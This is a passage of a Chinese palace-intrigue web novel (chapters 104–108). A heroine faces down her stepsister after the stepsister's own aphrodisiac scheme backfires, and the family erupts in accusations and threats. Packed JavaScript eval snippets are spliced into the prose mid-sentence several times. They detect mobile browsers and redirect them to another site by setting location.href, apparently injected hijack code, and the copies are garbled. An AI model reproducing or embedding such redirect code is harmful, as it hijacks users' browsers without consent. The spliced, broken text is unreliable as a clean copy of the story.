萧玹的声音很冷，“只需略施小计，让他染上赌瘾，再找几个手段高明，深谙此道的朋友，陪他好好玩玩。” “赌桌之上，红眼之时，人的贪欲会被无限放大，理智会彻底湮灭。等他欠下倾家荡产，足以压垮整个傅家的赌债，你那点芳华记的生意，在他眼中自然不值一提，甚至会成为他急于脱手换取赌资的筹码。” “至于他苦心经营多年的玉容斋铺面，作坊，乃至那些所谓的秘方……正好，拿来抵债。一箭双雕，干净利落，不留后患。” 傅流萤暗暗心惊，垂下了眸子。 虽然她看不到萧玹的眼神，但是能感觉到他的目光如炬，紧盯着她。 她被他极具穿透力和压迫感的目光看得浑身不自在，尤其是此刻近乎半裸，处于绝对弱势的情形下。 傅流萤裹紧了胸前的浴巾，努力维持着最后的平静无波，“流萤受教了。若无他事，还请督主移步。” “怎么？”萧玹的目光若无其事地落在她的身上。 她顿了顿，“我……要更衣了。” 萧玹闻言，非但没有如她所愿地退开，反而微微挑眉，那冰冷的视线更加放肆地在她裸露的、沾着晶莹水珠的肩颈线条和紧裹浴巾下呼之欲出的饱满曲线上流连，眼神带着一种赤裸裸的审视和一丝恶劣的嘲弄玩味。 “怎么？傅大小姐还害羞了？”他的声音低沉了几分，带着一种奇异的，仿佛砂纸磨过的磁性，在这暧昧的水汽中显得格外危险。 “你我婚约已定，名分早定，况且，你我坦诚相见也不是第一次了，还是说……” 他刻意拖长了语调，目光扫过她紧攥浴巾，因为羞愤而微微发颤的手指。 “萧玹！”傅流萤的脸颊瞬间涨得通红 她猛地从水中站起上半身，带起一片哗啦啦的水花，水珠顺着她光滑的肌肤滚滚而落，胸前浴巾堪堪裹住要害，露出大片雪白细腻的背部肌肤和纤细柔韧的腰肢。 “请你自重！立刻！马上！给我出去！” 看着她终于卸下那层沉静从容的伪装，露出羞愤交加，恨不得将他撕碎的真实反应，萧玹眼底深处，似乎掠过一丝极淡的近乎满意的情绪，快得转瞬即逝。 他站直身体，最后瞥了一眼浴桶中如同炸毛的小猫一般，浑身散发着抗拒与愤怒的女子，什么都没有说，转身离开。 玄色身影如来时般突兀，没有丝毫留恋，足尖轻点，悄无声息地翻窗出去，迅速融入了无边的夜色。 傅流萤猛地跌坐回水中，温热的水包裹住身体，却驱不散心底莫名涌起来的复杂心绪。 好半晌，傅流萤才从浴桶中站起身，带起更大的水花。 她顾不上肩伤传来阵阵刺痛，抓过旁边的布巾，擦干身体穿上里衣。 脸上的热度久久不散，心绪却在一片混乱后，渐渐沉冷下来，如同被冰水浸透。 萧玹的话并非全无道理。 傅湛，确实是个隐患。 她需要更快地建立自己的势力，拥有真正足以自保，甚至反击的力量！芳华记，必须牢牢握在手中。 这不仅仅是赚钱的工具，更是她未来安身立命的基石。 翌日清晨，芳华苑内本应有的宁静祥和，被一阵歇斯底里的哭嚎和咚咚咚的砸门声彻底撕碎。 “傅流萤，你这个**，你给我滚出来。我知道是你，一定是你害的我！你给我滚出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184682|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来说清楚。” “开门，傅流萤，你有本事做没本事认吗？你这个蛇蝎心肠的毒妇，你毁了我，我要杀了你。” 傅明雪如同刚从地狱爬出的恶鬼嘴里骂骂咧咧着，毫无平日里的贵女形象。 一夜之间，她仿佛苍老了十岁，原本精心保养，白皙光洁的脸庞，此刻惨白中透着一股死灰，眼窝深陷，双眼红肿。 她的身上穿着素色衣裙，早已失去了往日的华美精致。 春芽和夏婵死死挡在门口，用身体抵住房门，又惊又怒，脸色发白。 “二小姐！您冷静点！大小姐还没起身，您不能这样硬闯。” “是啊二小姐！您先回去梳洗一下，有什么事好好说……” “滚开！你们这些**的奴才！狗仗人势的东西！” 傅明雪尖声咒骂着，声音嘶哑。 她用力推搡着春芽和夏婵，长长的指甲在春芽的手臂上划出几道血痕。 “傅流萤，你出来，那杯酒……那杯加了醉春风的酒！明明是该你喝的！为什么最后中药的是我？” “为什么和那个废物一样的二皇子滚在一起的……是我？是不是你……是不是你暗中调换了酒杯？” “你这个恶毒的**！你毁了我的一生。” 她的叫骂声引来了越来越多的下人**在院门口和回廊下，远远地围观着，指指点点，窃窃私语声如同嗡嗡的苍蝇，让场面更加混乱不堪。 傅流萤在里面静静的听着。 眼底没有丝毫的情绪起伏，只有一片沉静的冷意。 “大小姐，可让我请将军过来？”秋月上前一步，询问傅流萤。 傅流萤摆了摆手，声音冷淡，“不用，让她在外面叫着吧，她不嫌丢人就让她尽管闹下去，到时候不用你去请傅莽，他自然也会过来的。” 秋月点点头，继续给傅流萤梳洗装扮。 足足装扮了半个多小时，才梳洗打扮好。 而傅明雪也在门外叫嚷了半个多小时直到嗓子都有些沙哑了。 “吱呀……” 第一百零四章 咎由自取 一声轻响，沉重的房门从里面被拉开。 傅流萤已经穿戴整齐，一身淡青色素面襦裙，满头珠翠，光彩夺目，衬得她倾国倾城。 但是她的眼神却沉静如水，不见丝毫慌乱，仿佛门外那场闹剧与她毫无关系。 她平静地扫了一眼门外状若疯妇、涕泪横流的傅明雪，眉头几不可察地蹙了一下，声音不高，却清晰地盖过了所有的嘈杂。 “大清早的，妹妹这是唱的哪一出？在自己院子里发疯还不够，非要闹得阖府皆知，让所有人都知道你被圣上亲口赐给二皇子做……侍妾了吗？” 她刻意在“侍妾”二字上停顿了一下，语气平淡，却像一把烧红的烙铁，狠狠烫在傅明雪最深的伤口上。 “侍妾”两个字，如同最恶毒的诅咒，瞬间引爆了傅明雪所有的痛苦和**。 “啊……” 傅明雪双目圆睁，眼球几乎要凸出眼眶，里面布满了血丝和滔天的恨意。 她再也顾不得任何形象和理智，不管不顾地朝着门内平静站立的傅流萤扑了过去。 她伸手直直抓向傅流萤那张清冷绝艳的脸庞。 “我撕了你这张恶毒的嘴，都是你，是你害我，我要和你同归于尽！” 傅流萤早有防备，在她扑来的瞬间，脚步轻盈地向侧后方后腿半步，身形如同风中拂柳，轻易便躲开了她的扑抓。 与此同时，早有准备的春芽和夏婵也立刻上前，一左一右，用尽全力架住了傅明雪疯狂挣扎的双臂。 “傅流萤” 一个隐含滔**气、如同闷雷般的男声在院门口炸响。 是傅凛的声音。 他大步流星地冲了过来，显然也是刚得到消息，身上还穿着练武的劲装，脸上带着未干的汗水和无法掩饰的焦急阴沉。 他身后，跟着同样脸色铁青，眼中布满红血丝的柳飞燕。 “明雪！你冷静点！别做傻事！”傅凛几步冲到近前，带着一股风，他看都没看傅流萤，一把将还在春芽夏婵手中拼命挣扎哭嚎的傅明雪用力拉了过来，紧紧地护在自己身后。 然后他充满敌意和怒火的目光如同两把刀子，狠狠刺向神色平静的傅流萤，声音因为愤怒而有些变调。 “傅流萤！你对明雪做了什么？看她被你逼成这个样子，你满意了？你的心肠是石头做的吗？” 柳飞燕也踉跄着走上前，看着女儿头发散乱，衣衫不整，满脸泪痕、状若疯癫的凄惨模样，心疼得如同刀绞。 再看向傅流萤时，那眼神充满了怨毒和指责。 “傅流萤！她是你妹妹啊！她遭此大难，这辈子都毁了！已经够可怜了！你身为长姐，非但没有半分体恤宽慰之心，反而句句如刀，字字诛心，往她心口上捅刀子！你的心肠怎么如此歹毒？” “她如今这般生不如死的模样，你敢说与你无关？昨夜那杯酒，那杯本该送到你面前的酒，到底是怎么回事？你给我说清楚！” 面对三人如同实质般的怒火和咄咄逼人的**，傅流萤只是轻轻抬起手，用指尖优雅地掸了掸衣袖上并不存在的灰尘，仿佛拂去什么脏东西。 她抬眼，目光缓缓扫过他们三个人，唇角极其缓慢地勾起一抹冰冷刺骨毫无温度的弧度。 “与我何干？”她的声音不高，却像冰雹砸在青石板上，清脆又很冰冷，“夫人，傅凛，还有我的好妹妹，你们不如先问问，昨天那杯加了醉春风的酒，原本是谁精心准备打算用在谁的身上？又是谁花重金从黑市弄来，打算让谁……身败名裂、永世不得超生？” 此言一出，如同平地惊雷！ 柳飞燕和傅凛的脸色瞬间变得惨白。 傅明雪的哭嚎也像是被一只无形的大手猛地掐住，戛然而止。 她眼中只剩下惊恐和心虚。 傅流萤是怎么知道的？ 她做这件事情的时候明明很隐蔽。 傅明雪虽然心虚但是也知道这个时候千万不能承认。 “你…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184683|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你血口喷人！” “我血口喷人？”傅流萤向前一步，周身的气势陡然凌厉起来，她清澈的目光如同寒冰利箭，直刺傅明雪的心底，“若非你心存歹念，想用那等下作龌龊的手段害我当众失身，身败名裂，你又怎会自食恶果，搬起石头砸了自己的脚？” “那杯酒，自始至终，可曾经过我的手？是你的心腹丫鬟翠儿，亲手从托盘上端起，亲手递到你的面前，是你自己，做贼心虚，心神不宁没接稳，才泼了自己一身！” “众目睽睽之下，多少双眼睛看着，人证物证俱在，傅明雪，你今日落到这般万劫不复的田地，不是天意，不是旁人陷害，是你自己咎由自取，是老天爷都看不过你的恶毒心肠！” 咎由自取四个字，狠狠砸在傅明雪的心上。 她浑身害怕地颤抖了起来。 傅流萤那洞悉一切，仿佛能看穿她灵魂的眼神，让她感觉自己像是被扒光了所有衣物，所有的阴暗算计，龌龊心思都暴露在众目睽睽之下，无所遁形！ “不，不是的，是你调换了，一定是你用了什么妖法，是你害我，是你。” 她摇着头，语无伦次。 “够了！”傅凛看着傅明雪被傅流萤言语彻底击垮，摇摇欲坠的样子，仿佛下一秒就要晕厥过去，心疼得如同被凌迟。 他对傅流萤的恨意更是如同火山喷发，瞬间达到了顶点。 他猛地指向傅流萤，“傅流萤！就算明雪有错在先，那也全是因你而起，若非你仗着嫡女身份处处打压她，若非你抢走了本该属于她的傅家大小姐位置，让她在府中抬不起头，她一个弱女子，怎会一时糊涂，行差踏错？” “如今她已受到最残酷的惩罚，生不如死，你竟还如此恶毒，步步紧逼，用这般诛心的话羞辱折磨于她，你的手段，简直阴险下作，令人发指！” “下作？”傅流萤像是听到了世间最荒谬的笑话，她发出一声短促而冰冷的嗤笑，眼神冰冷，毫不掩饰地扫过傅凛和柳飞燕。 第一百零五章 变成了情妹妹？ “比起你们母子三人这些年对我使出的那些见不得光的龌龊手段，比起你们处心积虑想将我推入万劫不复深渊的毒计，我这光明正大的反击，算得了什么下作？” “傅凛，收起你那副假仁假义、令人作呕的嘴脸！你心疼她？呵……” 她刻意拖长了语调，带着一丝的嘲讽，缓缓扫过被傅凛几乎半搂在怀里的傅明雪，“你以什么身份心疼她？是她的……好兄长吗？” 她刻意在“兄长”二字上咬得极重。 傅凛被她看得心头猛地一慌。 仿佛心底最隐秘，最不堪的角落被无情地揭开，暴露在光天化日之下。 一股强烈的羞耻感和被戳穿的恐慌让他瞬间恼羞成怒，脸色涨得通红，“你！你胡说什么！休要在此污言秽语，挑拨离间！” 傅明雪被傅流萤最后那番话和傅凛的反应彻底击垮了最后一道心理防线。 想到她即将成为二皇子府里最低贱的侍妾，任人**践踏。 而她恨之入骨的傅流萤，却依旧高高在上，被皇帝亲口赞誉“巾帼不让须眉”不甘和滔天的嫉妒疯狂地啃噬着傅明雪的心脏，吞噬了她最后一丝理智！ “傅流萤，到现在，你还在污蔑我和凛哥哥，我不活了，让我死，让我**算了，我不要做侍妾，我宁愿死，**干净！” 傅明雪一把狠狠推开护着她的傅凛，哭喊着，如同扑火的飞蛾，不管不顾地朝着旁边坚硬的朱漆廊柱，用尽全身力气撞了过去。 那决绝的姿态，仿佛真的想要寻死。 傅流萤冷冷的看着，眼底没有丝毫的情绪起伏。 傅明雪又在惺惺作态。 又用这一招，让所有人向着她。 从小到大这一招她不知道用过多少次了。 也只有傅凛和柳飞燕这两个蠢货才会被她玩的团团转。 这一次哪怕傅明雪要死要活，她也无法违抗皇命。 就算是傅莽心疼她，也不可能为了她，去求皇上。 “明雪，不要。”傅凛吓得魂飞魄散，他发出一声撕心裂肺的吼叫，一个箭步猛扑上去，在傅明雪的头颅即将撞上廊柱的千钧一发之际，用尽全力抱住了她的腰肢。 巨大的冲击力让两人都踉跄着撞在柱子上，发出沉闷的声响。 傅明雪被他死死抱住，在他怀里如拼命挣扎哭喊，双手双脚胡乱地踢打撕扯着傅凛的衣襟和手臂，声音充满了绝望。 “放开我，凛哥哥你放开我，让我死，**干净，我还有什么脸面活在这世上，让我死吧。” 傅凛听着，心疼得如同被万箭穿心，他紧紧抱着她，任由她疯狂的拳头雨点般落在他的胸膛上，任由她的指甲在他的手臂上划出血痕。 他将下巴死死抵在她的额头上，声音带着颤抖，“明雪，别说傻话，你不能死，你不能死，有我在，我在这里，我不会让你受委屈的，总会有办法的，一定会有办法的，相信我，天塌下来有我顶着！” 他抱着她，姿态亲昵无比，手臂环着她的腰，手掌甚至无意识地在她后背轻轻拍抚安慰，那眼神中的疼惜和占有欲，早已超越了寻常兄妹的界限，带着一种近乎偏执的保护欲。 柳飞燕看着廊下紧紧相拥，姿态暧昧到刺眼的两人，心头猛地一跳！ 一股强烈的不安和寒意瞬间席卷全身。 这……这太过了。 傅凛对明雪似乎真的超出兄妹之情。 眼下这情形，这哪里是兄妹？ 这分明是…… 她脸色煞白，刚想厉声呵斥，让傅凛立刻放手。 “混账东西！你们在干什么？” 一声暴喝，裹挟着滔天的怒火，在芳华苑的门口轰然炸响。 傅莽不知何时站在那里，身上还穿着深紫色的朝服，显然是刚下朝回来。 他脸色铁青，额头和脖颈上的青筋根根暴起，一双眼睛瞪得溜圆，里面燃烧着熊熊烈火。 他死死地瞪着廊下紧紧相拥，姿态暧昧到不堪入目的傅凛和傅明雪。 眼前这一幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190856|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，彻底点燃了他压抑了一整晚的怒火！ “父……父亲！”傅凛吓得浑身一哆嗦，如同被浇了一盆冰水，瞬间清醒过来。 他下意识地就想松开傅明雪，但傅明雪此刻如同抓住了唯一的救命稻草，反而更紧地抓住了他的衣襟，将脸埋在他胸前，哭得浑身抽搐，仿佛要将所有的委屈都哭出来。 傅莽几步就冲到了近前，怒火几乎烧尽了他所有的理智。 他抬起穿着厚底官靴的脚，带着武将的巨力，毫不留情地狠狠一脚踹在傅凛的腰侧软肋上。 “呃啊……”傅凛猝不及防，剧痛瞬间窜遍全身！ 他发出一声痛苦的闷哼，抱着傅明雪一起，狼狈地摔倒在地，扬起一片灰尘。 傅明雪也被带倒，发出一声痛呼。 “不知廉耻的东西！”傅莽指着地上滚作一团的两人，气得浑身发抖，“光天化日，朗朗乾坤，搂搂抱抱，拉拉扯扯，成何体统，她是你妹妹！更是圣上亲口赐予二皇子的……人！你们……你们简直是将我傅家的脸面，将我傅莽的老脸丢尽了！” 他气得几乎语无伦次，手指颤抖地指向傅凛，又指向被柳飞燕慌忙扶起的傅明雪。 “父亲！不是您想的那样！”傅凛忍着肋骨处传来的剧痛，脸色惨白，慌忙辩解。 “明雪她伤心过度，一时想不开要寻短见，儿子，儿子是怕她做傻事，情急之下才才抱住她阻止！绝无半点非分之想啊！天地可鉴！” 柳飞燕也赶紧上前，半扶半抱着哭得几乎要背过气去的傅明雪，对着暴怒的傅莽哭诉道，“老爷！老爷息怒啊！您真的错怪凛儿了！明雪她……她遭了这天大的祸事，清白没了，名声毁了，又被赐为……赐为侍妾，她一个姑娘家，哪里受得住啊！” “她刚才真的是万念俱灰，要撞柱子寻死啊！凛儿是她的亲哥哥，看到妹妹要寻死，他能不拦着吗？情急之下抱住她，这也是人之常情啊！他们……他们是亲兄妹，互相安慰一下，这……这怎么能说是不知廉耻呢？” 第一百零六章 认命吧 “老爷您不能因为心里有气，就冤枉孩子们啊！” 她一边哭一边说。 “互相安慰？”傅莽怒极反笑，他指着傅明雪凌乱的衣衫和哭红的眼睛，又指向傅凛因为刚才拉扯而敞开的领口和手臂上的抓痕，“安慰需要抱得这么紧？” “安慰需要耳鬓厮磨，难舍难分？柳氏，你睁开你的眼睛好好看看，看看你教出来的好儿女！” “一个不知廉耻，秽乱宫闱，被圣上亲口赐为侍妾，一个不分男女大防，不知避嫌，与即将出嫁的妹妹拉拉扯扯，搂搂抱抱，形同……形同夫妇。” “我傅家百年将门的门风，我傅莽在朝堂上挣来的脸面，都被你们这对不知廉耻的东西丢尽了！丢尽了！” 他气得眼前阵阵发黑，几乎站立不稳。 “爹！爹！”傅明雪被傅莽那一声声秽乱宫闱，侍妾，不知廉耻刺激得彻底崩溃！ 她挣脱柳飞燕的手，连滚带爬地扑倒在傅莽脚下，死死抱住他的小腿，撕心裂肺地哭求道，“爹，女儿错了！女儿真的知道错了，求求您，求求您去求求皇上，收回成命吧，女儿不要嫁给二皇子，不要做侍妾，那……那比杀了女儿还要难受千百倍啊，爹，求求您了，看在我叫了您十几年爹的份上，看在我死去的爹爹份上，救救女儿吧，女儿宁愿青灯古佛了此残生，也不要去做那任人糟践的侍妾啊！” 傅明雪哭得声嘶力竭，肝肠寸断。 傅莽低头看着脚下哭成一团的傅明雪。 心中五味杂陈。 愤怒，失望，耻辱、还有一丝作为父亲的复杂情绪交织在一起。 他何尝不觉得侍妾的身份是奇耻大辱？ 这不仅是打傅明雪的脸，更是将他傅莽，将整个傅家的脸面按在地上摩擦！ 但…… 皇命难为。 他又有什么办法？ 君子一言驷马难出。 昨**上金口玉言，他若是再去求皇上收回成命，这不是让皇上言而无信吗？ 君命一旦发出又怎可更改？ 他不能因为傅明雪就堵上整个将军府。 这可是十几代人的努力，才有将军府的今天。 他是家主，傅家到了他这一代，绝对不能毁在他的手里。 想到这些，傅莽的心中瞬间有了决断。 “住口！”傅莽猛地用力，将腿从傅明雪手中抽了出来，力道之大，让傅明雪再次跌倒在地。 他声音沉重如铁，带着不容置疑的决绝，“圣上金口玉言，金殿赐婚，岂是儿戏？” “圣旨已下，昭告天下，你与二皇子……在行宫厢房内，大庭广众之下，做出那等……那等丑事，多少双眼睛看着，铁证如山，圣上没有当场赐你一丈白绫，已是天恩浩荡，是看在傅家几代忠烈、看在你父亲我……还有萧督主的面子上，格外开恩。” “虽然是当个侍妾……明雪，这就是你的命，你就安分认命吧。” 最后三个字，他说得异常沉重，带着一种深深的疲惫和无力。 “认命？呵呵……认命……”傅明雪瘫坐在冰冷的地上，眼神空洞绝望，如同失去了所有生气的木偶，口中反复咀嚼着这两个字，发出令人毛骨悚然的低笑。 傅莽看到傅明雪这副样子心中又有些不忍。 毕竟是宠爱了这么多年的女儿他虽然有些自私自利唯利是图可心中还是有些许亲情在的。 他闭了闭眼睛，“明雪，人要往前看，虽然当侍妾说出去不好听但至少你也是嫁给了二皇子只要以后你抓住二皇子的心，夺得二皇子的宠爱以后还是可以被立为侧妃甚至成为王妃的。” 他也只能这样安慰傅明雪了。 傅明雪听着这样的话只想笑。 夺得二皇子的宠爱？ 她想起在厢房内，二皇子对她所做的一切。 那样一个唯利是图一点担当都没有的男人怎么配成为她的丈夫？ 一想到她后半辈子要和这样一个毫无责任的男人在一起，傅明雪的心里就涌起了深深的绝望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190857|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 突然，她猛地抬起头，那空洞的眼神瞬间被无边的怨毒和仇恨填满，如同淬了剧毒的箭，死死地看向一旁始终冷眼旁观，神色疏离的傅流萤。 那眼神，恨不得将她生吞活剥，挫骨扬灰。 傅流萤静静地站在廊下，清晨微凉的阳光穿过庭院里的枝叶，斑驳地落在她淡青色的素雅衣裙上，勾勒出她清瘦却挺直的脊背。 她整个人仿佛笼罩在一层无形的寒冰之中，清冷而疏离。 对上傅明雪那如同毒蛇般怨毒的目光，她眼中没有丝毫波澜，没有得意，没有怜悯，只有一片深不见底，望不到尽头的寒潭。 “明雪啊。”傅莽看着跌坐在地上的傅明雪，心头那点被怒火烧尽的父女情似乎又冒出了一丝火星，带着几分居高临下的怜悯，“你虽非我亲生骨肉，可自打抱你进这将军府的门，为父何曾亏待过你？锦衣玉食，教养栽培，哪一样不是比照嫡女的份例？这十几年，为父是真心实意把你当亲生女儿看待的！” 他弯下腰，伸出宽厚但带着薄茧的手掌，想将傅明雪从冰冷的地上扶起。 傅明雪身体几不可察地僵硬了一瞬，随即顺从地借着他的力道站了起来，头却垂得更低，散乱的发丝遮住了她大半张脸，只露出一个苍白失血的下颌。 “只是这次……”傅莽重重叹了口气，语气沉重，带着不容置疑的决绝，“圣上金口玉言，当着满朝文武的面赐婚，铁证如山，君无戏言，为父就算豁出这张老脸不要，拼着触怒天颜的风险去求情，又能如何？难道还能让九五之尊收回成命，承认自己……有失考量吗？那不仅救不了你，只会把整个傅家都拖进万劫不复的深渊。” 十几年所谓的“真心”，所谓的“嫡女份例”，不过是给外人看的体面，是安抚她这个“功臣遗孤”的工具！ 一旦触碰到将军府的根本利益，一旦会危及傅莽在朝堂的地位和他傅家的百年“清誉”，她傅明雪，这个没有血缘的“女儿”，立刻就成了可以毫不犹豫抛弃的棋子！ 第一百零七章 起了杀心 那点“父女之情”，在傅家的前程和他傅莽的脸面面前，轻如鸿**，贱如草芥！ 傅明雪藏在袖中的手死死攥紧，指甲深深嵌入掌心，尖锐的刺痛勉强压制住喉头翻涌的腥甜和几乎要冲破胸膛的滔天恨意。 “父亲……”再抬头时，傅明雪脸上已不见方才的歇斯底里，只剩下令人心碎的惨白和强忍的哀伤，泪水无声地滑落。 她的声音带着浓重的鼻音，哽咽着，充满了委屈。 “女儿……女儿明白了。是女儿糊涂，是女儿……不争气，给父亲蒙羞，给傅家……丢脸了。” 她甚至微微屈膝，行了一个极其标准的礼，“昨日宫宴……是女儿鬼迷心窍，一步踏错……连累了父亲，连累了傅家的门楣。女儿……罪该万死。” 傅明雪肩膀微微耸动，脆弱得仿佛下一刻就要晕厥过去。 这副幡然醒悟，自责自艾又楚楚可怜的模样，让傅莽脸上的怒气和紧绷瞬间缓和了大半。 “你能想通就好！能想通就好啊！”傅莽连连点头，语气放软，“明雪，你记住，傅家永远是你的后盾！” 你虽是以侍妾身份入二皇子府，但终究是傅家的女儿！只要你在二皇子府安分守己，用心侍奉，抓住二皇子的心，将来未必没有扶正的机会！为父在朝堂一日，就定会为你绸缪，替你撑腰！” 他拍着胸脯，话语掷地有声，仿佛许下了一个多么郑重的承诺。 然而，这承诺听在傅明雪耳中，却充满了令人作呕的算计。 不过是想利用她这个“侍妾”，在二皇子这条船上，为傅家多留一条后路罢了。 “女儿……多谢父亲替明雪绸缪。” 傅明雪垂下眼帘，长长的睫毛掩盖住眸底汹涌的寒冰与讥诮，声音依旧哽咽顺从，“女儿定当……谨记父亲教诲。” 傅莽对她的识大体十分满意，又象征性地宽慰了几句。 “好了，这几天好好休息，养好身体，这样才能早日进二皇之府，若是能早日怀上二皇子的孩子，一举得男，也能稳固你在二皇子府的地位。” 说完，傅莽转身大步流星地离开了芳华苑。 柳飞燕看着傅明雪这副摇摇欲坠、心如死灰的模样，心痛如绞，上前一步想要搀扶。 “明雪，跟娘回去，娘给你熬碗安神汤……” “母亲，”傅明雪却轻轻避开了她的手，声音低哑，却异常清晰，“女儿……还有些话，想单独同姐姐说。” 柳飞燕顺着她的目光看去，触及傅流萤那双平静无波，深不见底的眸子，微微皱了皱眉。 她张了张嘴，“明雪，你……” 柳飞燕没说完，又叹了口气，最后带着丫鬟一步三回头地离开了。 傅凛哪里放心得下傅明雪。 他生怕傅流萤再出什么恶毒言语刺激傅明雪，如同最忠诚的护卫，依旧固执地留在原地，目光警惕地盯着傅流萤。 芳华苑内，空气瞬间凝滞，只剩下风吹过庭院草木的细微声响。 傅明雪猛地抬起头，脸上再无半分泪痕，只剩下被滔天恨意扭曲的狰狞。 那双红肿的眼睛死死瞪着傅流萤，里面翻涌着浓浓的恨意。 她走近傅流萤，咬着牙，一字一句。 “傅、流、萤！”三个字从她齿缝里迸出，带着蚀骨的恨意，“你满意了？看着我身败名裂，看着我坠入地狱，沦为那等废物的玩物，你是不是很得意？” 傅明雪的胸膛剧烈起伏，“我傅明雪对天发誓！今日你加诸在我身上的每一分**，每一寸痛苦，他日，我必让你百倍、千倍地偿还！我要你尝尽世间最深的绝望，我要你……生不如死！” 面对这扑面而来的、足以将人淹没的咒骂，傅流萤却只是微微牵动了一下唇角。 那笑容极淡，像冬日湖面掠过的一缕寒风，转瞬即逝。 她甚至没有多看傅明雪一眼，目光悠然地扫过庭院角落一株开得正盛的晚菊，声音平静得听不出一丝涟漪。 “妹妹这话说的，倒像是我逼你喝了那杯醉春风，又亲手把你推进二皇子怀里似的。” 傅流萤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我要她，为你今日所受之苦，付出最惨烈的代价！” 他拥着几乎崩溃的傅明雪。 门内，一片死寂。 傅流萤静静立在窗棂投下的阴影里，透过半开的窗缝，冷漠地注视着那对相拥而去的身影。 “夏婵。”她轻声唤道，声音如同拂过冰面的风。 第一百零八章 布局 一直侍立在角落，屏息凝神的夏婵立刻上前，垂首应道，“大小姐？” “跟着他们。”傅流萤的声音没有丝毫温度，“看看他们去了哪里，说了什么。小心些，别被发现。” “是！”夏婵没有丝毫犹豫，退了出去，悄无声息地融入了院外初秋微凉的空气中。 傅流萤缓缓走到窗边的紫檀木书案前。 案上，摊开着一本厚厚的账册，旁边还放着几个小巧精致的白瓷罐，上面贴着“雪肌膏”，“玉容散”的标签，散发着淡淡的草药清香。 芳华记的生意，一刻也不能松懈。 她伸出纤细的手指，轻轻拂过冰凉的瓷罐，目光却落在虚空中，深不见底。 傅明雪和傅凛想杀她也不是一次两次了，这两个人不足畏惧。 不过是蠢货对蠢货罢了。 她真正在意的，是萧玹昨夜那番话。 傅湛这条红了眼的疯狗，随时可能反扑。 傅湛这个人可比他们两个人难缠的多。 毕竟，傅湛做了这么多年的生意，要是没有点头脑和手段，也不可能替将军府赚这么多。 “优柔寡断，妇人之仁……”她低声呢喃，指尖无意识地在冰凉的瓷罐上划过。 当断不断，反受其乱。 傅湛，必须尽快解决！ 时间在凝滞的空气中缓缓流淌。 傅流萤强迫自己将注意力集中在账册的数字上，指尖划过一行行墨迹，计算着芳华记的收支。 等到芳华记的名声彻底打响，她也该成立自己的铺子了。 一直放在别人的铺子里卖东西也不太现实。 挣的太少了。 傅流萤的眸色渐深，不知过了多久，窗棂外传来极其轻微的“嗒”的一声。 她执笔的手微微一顿。 夏婵回来了。 她气息微喘，脸上带着一丝不易察觉的惊悸和兴奋，快步走到傅流萤身边，压低了声音，“小姐，奴婢跟过去了！二小姐和三公子，他们没回各自的院子，而是径直去了后园那片最偏僻的竹林！” 傅流萤放下手中的紫毫笔，抬眸看向夏婵，眼神示意她继续说下去。 夏婵深吸一口气，语速加快，声音压得更低，“奴婢不敢靠得太近，躲在一处假山石后面。他们……他们一进竹林深处，二小姐就再也撑不住，扑进大公子怀里哭得撕心裂肺，几乎喘不上气……” “大公子……他就那么紧紧抱着二小姐，抱得……抱得紧紧的，根本不像寻常兄妹！” 夏婵的脸颊微微泛红，不知是跑的还是因目睹了不该看的场景，“奴婢听见二小姐一直在哭诉，说什么这辈子毁了、不如**干净、恨毒了大小姐……” “大公子就一直低声哄着。”夏婵复述着，声音里带着一丝后怕，“后来，后来大公子好像还低头亲了亲二小姐的额头和头发，动作很是，很是亲昵，二小姐也没有躲。” 夏婵的脸颊更红了，“奴婢还隐隐约约听到大公子说总有一天要让她消失，还是傅家的一切都是我们的，还让二小姐暂且忍耐，先顺着老爷的意思，入了二皇子府再从长计议……” 夏婵说完，小心翼翼地看着傅流萤的脸色。 